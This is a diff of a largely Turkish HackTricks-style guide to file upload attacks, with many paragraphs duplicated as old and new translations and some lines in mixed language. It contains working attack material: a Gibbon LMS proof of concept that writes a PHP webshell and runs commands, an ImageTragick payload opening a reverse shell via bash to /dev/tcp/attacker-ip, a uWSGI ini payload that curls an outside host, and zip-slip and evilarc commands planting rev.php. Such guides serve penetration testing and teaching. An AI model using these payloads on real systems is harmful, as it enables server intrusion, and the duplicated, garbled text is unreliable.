- Eğer görüntünüze **sıkıştırma** ekleniyorsa, örneğin [PHP-GD](https://www.php.net/manual/fr/book.image.php) gibi standart PHP kütüphaneleri kullanılıyorsa, önceki teknikler işe yaramayabilir. Ancak, **sıkıştırmaya dayanacak** bazı metinler eklemek için **PLTE chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- Web sayfası ayrıca resmi yeniden boyutlandırıyor olabilir; örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanıyor olabilir. Ancak, sıkıştırmadan **sağ çıkacak** bazı metinleri eklemek için IDAT chunk [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) yöntemini kullanabilirsiniz.
|
||||
- Web sayfası ayrıca görüntüyü PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` gibi fonksiyonlarla **yeniden boyutlandırıyor** olabilir. Ancak, **sıkıştırmaya dayanacak** metin eklemek için **IDAT chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Bir diğer teknik, PHP-GD fonksiyonu `thumbnailImage` kullanıldığında bile yeniden boyutlandırmadan **sağ kalan** bir payload oluşturma yöntemidir. Bunun için tEXt chunk [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) yöntemini kullanabilirsiniz.
|
||||
- Bir başka teknik, PHP-GD fonksiyonu `thumbnailImage` kullanıldığında bile **yeniden boyutlandırmaya dayanacak** bir payload oluşturmayı sağlar. Ancak, **sıkıştırmaya dayanacak** metin eklemek için **tEXt chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Kontrol Edilecek Diğer Hileler
|
||||
|
||||
- Zaten yüklenmiş dosyanın adını (uzantısını değiştirmek için) yeniden adlandırmaya izin veren bir zafiyet bulun.
|
||||
- Backdoor'u çalıştırmak için bir Local File Inclusion zafiyeti bulun.
|
||||
- **Olası Bilgi Açığa Çıkması**:
|
||||
1. Aynı dosyayı **aynı anda** **birden fazla kez** yükleyin.
|
||||
2. Zaten var olan bir dosya veya klasörün **adıyla** bir dosya yükleyin.
|
||||
3. Dosya adını **"."**, **".."** veya **"…"** olarak yükleyin. Örneğin, Apache üzerinde **Windows** ise ve uygulama yüklenen dosyaları "/www/uploads/" dizinine kaydediyorsa, "." dosya adı "/www/" dizininde "uploads" adında bir dosya oluşturacaktır.
|
||||
4. NTFS üzerinde **"…:.jpg"** gibi kolay silinemeyen bir dosya yükleyin. (Windows)
|
||||
5. Adında `|<>*?"` gibi geçersiz karakterler bulunan bir dosyayı Windows üzerinde yükleyin. (Windows)
|
||||
6. CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9 gibi **rezerve (yasaklanmış) isimler** kullanarak Windows'a dosya yükleyin.
|
||||
- Ayrıca, kurbanın yanlışlıkla açması durumunda kod çalıştıracak bir **.exe** veya daha az şüpheli olabilecek bir **.html** yüklemeyi de deneyin.
|
||||
- Zaten yüklenmiş dosyanın uzantısını değiştirmek için dosyayı **yeniden adlandırma** zafiyeti bulun.
|
||||
- Backdoor'u çalıştırmak için bir **Local File Inclusion** zafiyeti bulun.
|
||||
- Olası bilgi sızması:
|
||||
1. Aynı dosyayı aynı isimle **birden fazla kez** (ve **aynı anda**) yükleyin.
|
||||
2. Zaten var olan bir **dosya** veya **klasör** adıyla dosya yükleyin.
|
||||
3. Adı **"." , "..", veya "…" olan bir dosya yükleyin. Örneğin, Apache üzerinde **Windows**'ta uygulama yüklenen dosyaları "/www/uploads/" dizinine kaydettiğinde, "." dosya adı "/www/" dizininde "uploads" adlı bir dosya oluşturacaktır.
|
||||
4. **NTFS** üzerinde kolay silinemeyen bir dosya yükleyin, örneğin **"…:.jpg"**. (Windows)
|
||||
5. **Windows** üzerinde adında `|<>*?”` gibi **geçersiz karakterler** olan bir dosya yükleyin.
|
||||
6. **Windows** üzerinde CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9 gibi **rezerved** (**yasaklı**) isimleri kullanarak dosya yükleyin.
|
||||
- Bir de **yürütülebilir** (.exe) veya kazara açıldığında kod çalıştıracak daha az şüpheli bir **.html** yüklemeyi deneyin.
|
||||
|
||||
### Özel uzantı hileleri
|
||||
|
||||
Eğer dosyaları bir **PHP** sunucusuna yüklüyorsanız, kodu çalıştırmak için [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution) sayfasına bakın.\
|
||||
Eğer dosyaları bir **ASP** sunucusuna yüklüyorsanız, kodu çalıştırmak için [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files) sayfasına bakın.
|
||||
Eğer **PHP server**a dosya yüklemeye çalışıyorsanız, [kod çalıştırmak için **.htaccess** hilesine bir göz atın](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Eğer **ASP server**a dosya yüklemeye çalışıyorsanız, [kod çalıştırmak için **.config** hilesine bir göz atın](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
`.phar` dosyaları Java için `.jar` gibidir, fakat PHP içindir ve **php dosyası gibi kullanılabilir** (php ile çalıştırılabilir veya bir script içine include edilebilir...)
|
||||
`.phar` dosyaları Java için `.jar` gibidir, ancak php için olup **php dosyası gibi kullanılabilir** (php ile çalıştırma veya bir script içine include etme...).
|
||||
|
||||
`.inc` uzantısı bazen sadece **import** amaçlı kullanılan php dosyaları için kullanılır; bu durumda bir noktada biri bu uzantının **çalıştırılmasına izin vermiş** olabilir.
|
||||
`.inc` uzantısı bazen sadece dosya içe aktarmak için kullanılan php dosyaları için kullanılır; bu yüzden bir noktada biri bu uzantının yürütülmesine izin vermiş olabilir.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Eğer Jetty sunucusuna bir XML dosyası yükleyebiliyorsanız, [RCE çünkü **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)** elde edebilirsiniz.** Bu nedenle, aşağıdaki görselde de belirtildiği gibi XML dosyasını `$JETTY_BASE/webapps/` dizinine yükleyin ve shell bekleyin!
|
||||
Eğer bir Jetty sunucusuna XML dosyası yükleyebiliyorsanız, [RCE elde edebilirsiniz çünkü **yeni *.xml ve *.war dosyaları otomatik olarak işlenir**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1). Bu yüzden, aşağıdaki görselde belirtildiği gibi XML dosyasını `$JETTY_BASE/webapps/` dizinine yükleyin ve shell bekleyin!
|
||||
|
||||
.png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
Bu zafiyetin detaylı incelenmesi için orijinal çalışmaya bakın: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
Bu zafiyetin detaylı incelemesi için orijinal araştırmaya bakın: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Remote Command Execution (RCE) zafiyetleri, `.ini` yapılandırma dosyasını değiştirme yeteneğine sahip olunursa uWSGI sunucularında istismar edilebilir. uWSGI konfigürasyon dosyaları, "magic" değişkenleri, placeholder'ları ve operatorleri içerebilen özel bir sözdizimi kullanır. Özellikle `@(filename)` şeklinde kullanılan '@' operatörü bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI tarafından desteklenen çeşitli schemes arasında "exec" scheme'i özellikle güçlüdür; bir sürecin standart çıktısından veri okumaya izin verir. Bir `.ini` yapılandırma dosyası işlendiğinde, bu özellik Remote Command Execution veya Arbitrary File Write/Read gibi kötü amaçlı kullanımlar için manipüle edilebilir.
|
||||
Remote Command Execution (RCE) zafiyetleri, `.ini` konfigürasyon dosyasını değiştirme yeteneğiniz varsa uWSGI sunucularında kullanılabilir. uWSGI konfigürasyon dosyaları "magic" değişkenler, placeholder'lar ve operatörleri içerecek şekilde özel bir sözdizimi kullanır. Özellikle '@' operatörü, `@(filename)` şeklinde kullanıldığında bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI'de desteklenen çeşitli scheme'ler arasında "exec" scheme'i özellikle güçlüdür; bir sürecin standard output'undan veri okunmasına izin verir. Bir `.ini` konfigürasyon dosyası işlendiğinde bu özellik, Remote Command Execution veya Arbitrary File Write/Read gibi kötü amaçlı kullanım senaryoları için manipüle edilebilir.
|
||||
|
||||
Aşağıda çeşitli schemes gösteren zararlı bir `uwsgi.ini` dosyası örneğini düşünün:
|
||||
Aşağıdaki, çeşitli scheme'leri gösteren zararlı bir `uwsgi.ini` dosyası örneğini düşünün:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -156,14 +156,55 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
Payload'ın yürütülmesi, konfigürasyon dosyasının ayrıştırılması sırasında gerçekleşir. Konfigürasyonun etkinleşip ayrıştırılması için uWSGI sürecinin ya yeniden başlatılması (muhtemelen bir çökme sonrası veya bir Denial of Service attack nedeniyle) ya da dosyanın otomatik yeniden yükleme (auto-reload) olarak ayarlanması gerekir. Otomatik yeniden yükleme özelliği etkinse, değişiklikleri tespit ettiğinde dosyayı belirli aralıklarla yeniden yükler.
|
||||
Payload'un yürütülmesi, konfigürasyon dosyasının ayrıştırılması sırasında gerçekleşir. Konfigürasyonun etkinleşip ayrıştırılması için uWSGI sürecinin ya yeniden başlatılması (muhtemelen bir crash sonrası veya bir Denial of Service saldırısı nedeniyle) ya da dosyanın auto-reload olarak ayarlanması gerekir. Auto-reload özelliği etkinse, değişiklikleri algıladığında dosyayı belirlenen aralıklarla yeniden yükler.
|
||||
|
||||
uWSGI'nin konfigürasyon dosyası ayrıştırmasının gevşek yapısını anlamak çok önemlidir. Özellikle bahsedilen payload bir ikili dosyaya (ör. bir resim veya PDF) yerleştirilebilir; bu da olası istismar kapsamını daha da genişletir.
|
||||
uWSGI'nin konfigürasyon dosyası ayrıştırmasının gevşek doğasını anlamak kritiktir. Özellikle, bahsedilen payload bir binary file'ın içine (ör. image veya PDF) yerleştirilebilir; bu da potansiyel sömürü alanını daha da genişletir.
|
||||
|
||||
### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
|
||||
|
||||
Gibbon LMS'deki unauthenticated endpoint, web root içinde arbitrary file write yapılmasına izin veriyor; bir PHP dosyası bırakılarak pre-auth RCE'ye yol açıyor. Etkilenen sürümler: 25.0.01 dahil olmak üzere öncesi.
|
||||
|
||||
- Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
|
||||
- Method: POST
|
||||
- Gerekli parametreler:
|
||||
- `img`: data-URI-like string: `[mime];[name],[base64]` (server ignores type/name, base64-decodes the tail)
|
||||
- `path`: hedef dosya adı, Gibbon install dir'e göre göreceli (e.g., `poc.php` or `0xdf.php`)
|
||||
- `gibbonPersonID`: herhangi bir boş olmayan değer kabul edilir (e.g., `0000000001`)
|
||||
|
||||
Bir dosyayı yazıp geri okumak için minimal PoC:
|
||||
```bash
|
||||
# Prepare test payload
|
||||
printf '0xdf was here!' | base64
|
||||
# => MHhkZiB3YXMgaGVyZSEK
|
||||
|
||||
# Write poc.php via unauth POST
|
||||
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
|
||||
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
|
||||
|
||||
# Verify write
|
||||
curl http://target/Gibbon-LMS/poc.php
|
||||
```
|
||||
Minimal bir webshell bırakın ve komutları çalıştırın:
|
||||
```bash
|
||||
# '<?php system($_GET["cmd"]); ?>' base64
|
||||
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
|
||||
|
||||
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
|
||||
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
|
||||
|
||||
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
|
||||
```
|
||||
Notlar:
|
||||
- İşleyici `base64_decode($_POST["img"])` gerçekleştirir; önce `;` ve `,` ile ayırdıktan sonra uzantı/tipi doğrulamadan byte'ları `$absolutePath . '/' . $_POST['path']`'e yazar.
|
||||
- Ortaya çıkan kod web servis kullanıcısı olarak çalışır (ör. XAMPP Apache on Windows).
|
||||
|
||||
Bu hata için referanslar arasında usd HeroLab advisory ve NVD girdisi bulunur. Aşağıdaki References bölümüne bakın.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
Bazı durumlarda bir sunucunun **`wget`** kullanarak **dosya indirdiğini** ve sizin **URL** belirtmenize izin verdiğini görebilirsiniz. Bu durumlarda, kod indirilen dosyaların uzantısının yalnızca izin verilenlerin indirileceğinden emin olmak için bir beyaz liste içinde olup olmadığını kontrol ediyor olabilir. Ancak, **bu kontrol atlatılabilir.**\
|
||||
linux'ta bir **dosya adının** **maksimum** uzunluğu **255**'tir, ancak **wget** dosya adlarını **236** karaktere kadar kısaltır. Siz **"A"\*232+".php"+".gif"** adlı bir dosya indirebilirsiniz; bu dosya adı **kontrolü atlatır** (örneğin bu durumda **".gif"** **geçerli** bir uzantıdır) ancak `wget` dosyayı **"A"\*232+".php"** olarak yeniden adlandırır.
|
||||
Bazı durumlarda bir sunucunun **`wget`** ile **dosya indirdiğini** ve sizin **URL** belirtebildiğinizi görebilirsiniz. Bu durumlarda kod, indirilen dosyaların uzantısının yalnızca izin verilenlerin indirileceğinden emin olmak için bir whitelist içinde olup olmadığını kontrol ediyor olabilir. Ancak, **bu kontrol atlatılabilir.**\
|
||||
|
||||
Bir **dosya adı**nın **linux**'teki **azami** uzunluğu **255**'tir, ancak **wget** dosya adlarını **236** karaktere kadar kısaltır. **"A"*232+".php"+".gif"** adlı bir dosyayı indirebilirsiniz; bu dosya adı **kontrolü atlatacak** (bu örnekte **".gif"** **geçerli** bir uzantıdır) fakat `wget` dosyayı **"A"*232+".php"** olarak **yeniden adlandıracaktır**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -188,13 +229,13 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
```
|
||||
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
|
||||
|
||||
## Araçlar
|
||||
## Tools
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) güçlü bir araçtır ve Pentesters ile Bug Hunters'ın file upload mekanizmalarını test etmelerine yardımcı olmak için tasarlanmıştır. Çeşitli bug bounty tekniklerinden yararlanarak zafiyetleri tespit etmeyi ve exploit etmeyi kolaylaştırır, web uygulamalarının kapsamlı değerlendirilmesini sağlar.
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
|
||||
|
||||
### Corrupting upload indices with snprintf quirks (historical)
|
||||
|
||||
Bazı legacy upload handler'lar, tek dosyalık bir upload'tan multi-file array'leri oluşturmak için `snprintf()` veya benzerini kullanırken `_FILES` yapısını forge etmeye ikna edilebilir. `snprintf()` davranışındaki tutarsızlıklar ve truncation nedeniyle, dikkatle hazırlanmış tek bir upload sunucu tarafında birden fazla indexlenmiş dosya gibi görünebilir; bu da katı bir shape varsayan (ör. multi-file upload olarak ele alıp unsafe branch'lere giren) mantığı kafası karışmış hale getirir. Bugün nadir olsa da, bu “index corruption” paterni ara sıra CTF'lerde ve eski kod tabanlarında yeniden ortaya çıkar.
|
||||
Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases.
|
||||
|
||||
## From File upload to other vulnerabilities
|
||||
|
||||
@ -211,7 +252,7 @@ Bazı legacy upload handler'lar, tek dosyalık bir upload'tan multi-file array'l
|
||||
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
|
||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
|
||||
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
|
||||
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirüs**
|
||||
- Check if there is any **size limit** uploading files
|
||||
|
||||
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
@ -227,7 +268,7 @@ Here’s a top 10 list of things that you can achieve by uploading (from [here](
|
||||
9. **ZIP**: RCE via LFI / DoS
|
||||
10. **PDF / PPTX**: SSRF / BLIND XXE
|
||||
|
||||
#### Burp Extension
|
||||
#### Burp Eklentisi
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -241,7 +282,7 @@ https://github.com/portswigger/upload-scanner
|
||||
|
||||
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
|
||||
|
||||
## Zip/Tar File Automatically decompressed Upload
|
||||
## Zip/Tar Dosyasının Sunucuda Otomatik Olarak Açılması
|
||||
|
||||
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
|
||||
|
||||
@ -253,25 +294,26 @@ ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Farklı klasörlere Decompress
|
||||
### Farklı klasörlere çıkarma
|
||||
|
||||
Dekompress/archiv açma sırasında dizinlerde beklenmedik dosyaların oluşturulması önemli bir sorundur. İlk etapta bu yapılandırmanın zararlı dosya yüklemeleri yoluyla OS-level command execution'u engelleyeceği düşünülse de, ZIP archive format'ın hierarchical compression support ve directory traversal yetenekleri sömürülebilir. Bu, saldırganların kısıtlamaları atlamasına ve hedef uygulamanın decompression işlevini manipüle ederek güvenli upload directories'den kaçmasına olanak tanır.
|
||||
Arşiv açma sırasında dizinlerde beklenmeyen dosyaların oluşturulması önemli bir sorundur. Başlangıçta bu yapılandırmanın kötü amaçlı file uploads yoluyla OS-level command execution'a karşı koruma sağlayabileceği varsayılsa da, ZIP archive formatının hiyerarşik sıkıştırma desteği ve directory traversal yetenekleri istismar edilebilir. Bu, saldırganların kısıtlamaları atlatmasına ve hedef uygulamanın decompression işlevini manipüle ederek güvenli upload dizinlerinden kaçmasına izin verir.
|
||||
|
||||
Böyle dosyaları oluşturmak için otomatik bir exploit [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)'da mevcuttur. Yardımcı program şu şekilde kullanılabilir:
|
||||
Böyle dosyalar oluşturmak için otomatik bir exploit [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) üzerinde mevcuttur. Araç şu şekilde kullanılabilir:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
Ek olarak, **symlink trick with evilarc** bir seçenektir. Eğer hedef `/flag.txt` gibi bir dosya ise, sisteminizde o dosyaya bir symlink oluşturulmalıdır. Bu, evilarc'ın çalışması sırasında hata ile karşılaşmamasını sağlar.
|
||||
Ek olarak, **symlink trick with evilarc** bir seçenektir. Hedef `/flag.txt` gibi bir dosya olduğunda, sisteminizde o dosyaya bir symlink oluşturulmalıdır. Bu, evilarc'ın işleyişi sırasında hata almasını engeller.
|
||||
|
||||
Aşağıda kötü amaçlı bir zip dosyası oluşturmak için kullanılan Python koduna bir örnek bulunmaktadır:
|
||||
Aşağıda kötü amaçlı bir zip dosyası oluşturmak için kullanılan Python koduna bir örnek verilmiştir:
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
from io import BytesIO
|
||||
|
||||
|
||||
def create_zip():
|
||||
f = BytesIO()
|
||||
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
||||
@ -284,11 +326,11 @@ zip.close()
|
||||
|
||||
create_zip()
|
||||
```
|
||||
**Sıkıştırmayı file spraying için kötüye kullanma**
|
||||
**Abusing compression for file spraying**
|
||||
|
||||
Daha fazla detay için **orijinal gönderiye bakın**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
Daha fazla bilgi için **orijinal gönderiyi inceleyin**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **PHP Shell Oluşturma**: PHP kodu, `$_REQUEST` değişkeni aracılığıyla iletilen komutları çalıştırmak için yazılır.
|
||||
1. **Creating a PHP Shell**: PHP kodu, `$_REQUEST` değişkeniyle iletilen komutları çalıştıracak şekilde yazılmıştır.
|
||||
|
||||
```php
|
||||
<?php
|
||||
@ -298,55 +340,55 @@ system($cmd);
|
||||
}?>
|
||||
```
|
||||
|
||||
2. **File Spraying ve Sıkıştırılmış Dosya Oluşturma**: Birden fazla dosya oluşturulur ve bu dosyaları içeren bir zip arşivi oluşturulur.
|
||||
2. **File Spraying and Compressed File Creation**: Birden fazla dosya oluşturulur ve bu dosyaları içeren bir zip arşivi oluşturulur.
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Hex Editor veya vi ile Değiştirme**: Zip içindeki dosya isimleri vi veya bir hex editor kullanılarak değiştirilir; dizinleri geçmek için "xxA" "../" ile değiştirilir.
|
||||
3. **Modification with a Hex Editor or vi**: Zip içindeki dosya adları, vi veya bir hex editör kullanılarak değiştirilir; "xxA" dizin atlaması yapmak için "../" ile değiştirilir.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
:%s/xxA/..\//g
|
||||
:%s/xxA/../g
|
||||
:x!
|
||||
```
|
||||
|
||||
## ImageTragic
|
||||
|
||||
Bu içeriği bir image uzantısıyla yükleyerek açığı kötüye kullanın **(ImageMagick , 7.0.1-1)** (exploit: [https://www.exploit-db.com/exploits/39767](https://www.exploit-db.com/exploits/39767))
|
||||
Bu içeriği bir image uzantısıyla yükleyerek açığı exploit edin **(ImageMagick , 7.0.1-1)** (exploit için: [https://www.exploit-db.com/exploits/39767])
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||||
pop graphic-context
|
||||
```
|
||||
## PNG İçine PHP Shell Gömme
|
||||
## Embedding PHP Shell on PNG
|
||||
|
||||
PNG dosyasının IDAT chunk'ına bir PHP shell gömmek, belirli görüntü işleme operasyonlarını etkili bir şekilde atlatabilir. PHP-GD'den `imagecopyresized` ve `imagecopyresampled` fonksiyonları bu bağlamda özellikle önemlidir; bunlar sırasıyla resimlerin yeniden boyutlandırılması ve yeniden örneklenmesi için yaygın olarak kullanılır. Gömülü PHP shell'in bu işlemlerden etkilenmeden kalabilme yeteneği, bazı kullanım senaryoları için önemli bir avantaj sağlar.
|
||||
PNG dosyasının IDAT chunk'ına bir PHP shell gömmek, belirli resim işleme operasyonlarını etkili bir şekilde atlatabilir. PHP-GD'nin `imagecopyresized` ve `imagecopyresampled` fonksiyonları bu bağlamda özellikle önemlidir; bunlar sırasıyla görüntüleri yeniden boyutlandırmak ve yeniden örneklemek için yaygın olarak kullanılır. Gömülü PHP shell'in bu işlemlerden etkilenmeden kalabilmesi, bazı kullanım senaryoları için önemli bir avantaj sağlar.
|
||||
|
||||
Bu tekniğin metodolojisi ve potansiyel uygulamalarını ayrıntılı şekilde inceleyen makale şurada bulunabilir: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Bu kaynak, sürecin ve etkilerinin kapsamlı bir anlayışını sunar.
|
||||
Bu tekniğin metodolojisi ve potansiyel uygulamalarını içeren ayrıntılı bir inceleme aşağıdaki makalede bulunabilir: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Bu kaynak süreç ve etkileri hakkında kapsamlı bir anlayış sunar.
|
||||
|
||||
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## Polyglot Files
|
||||
|
||||
Polyglot files, aynı anda birden fazla dosya formatında geçerli olabilen kameleonlar gibi davranarak siber güvenlikte benzersiz bir araç görevi görür. İlginç bir örnek [GIFAR](https://en.wikipedia.org/wiki/Gifar) olup, hem GIF hem de RAR arşivi olarak işlev gören hibrittir. Bu tür dosyalar sadece bu eşleşmeyle sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür.
|
||||
Polyglot dosyalar siber güvenlikte benzersiz bir araç olarak hizmet eder; aynı anda birden fazla dosya formatında geçerli şekilde bulunabilen kamuflajlar gibidirler. İlginç bir örnek [GIFAR](https://en.wikipedia.org/wiki/Gifar), hem GIF hem de RAR arşivi olarak işlev gören bir hibrittir. Bu tür dosyalar bu eşleşmeyle sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür.
|
||||
|
||||
Polyglot dosyaların temel faydası, dosyaları türüne göre tarayan güvenlik önlemlerini atlatabilme yetenekleridir. Birçok uygulamada yalnızca belirli dosya türlerinin yüklenmesine izin verilir—örneğin JPEG, GIF veya DOC—böylece potansiyel olarak zararlı formatların (ör. JS, PHP veya Phar dosyaları) riski azaltılmaya çalışılır. Ancak bir polyglot, birden çok dosya türünün yapısal kriterlerine uyarak bu kısıtlamaları gizlice aşabilir.
|
||||
Polyglot dosyaların temel faydası, dosya türüne göre tarama yapan güvenlik önlemlerini atlatma yetenekleridir. Birçok uygulamada yalnızca JPEG, GIF veya DOC gibi belirli dosya türlerinin yüklenmesine izin verilerek potansiyel olarak zararlı formatların (ör. JS, PHP veya Phar dosyaları) riski azaltılmaya çalışılır. Ancak bir polyglot, birden fazla dosya türünün yapısal kriterlerine uyduğu için bu kısıtlamaları gizlice aşabilir.
|
||||
|
||||
Uyarlanabilirliklerine rağmen polyglot'ların sınırlamaları vardır. Örneğin bir polyglot aynı anda bir PHAR dosyası (PHp ARchive) ve bir JPEG içerebilir, ancak yükleme başarısı platformun dosya uzantısı politikalarına bağlı olabilir. Sistem izin verilen uzantılar konusunda katıysa, bir polyglot'un sadece yapısal çiftliği yüklenmesini garanti etmeyebilir.
|
||||
Uyarlanabilir olmalarına rağmen polyglot'ların sınırlamaları vardır. Örneğin bir polyglot aynı anda bir PHAR file (PHp ARchive) ve bir JPEG olabilir, ancak yükleme başarısı platformun dosya uzantısı politikalarına bağlı olabilir. Sistem izin verilen uzantılarda katıysa, polyglot'un yapısal ikiliği yüklenmesini garanti etmeyebilir.
|
||||
|
||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### PDF gibi davranarak geçerli JSON'ları yükleme
|
||||
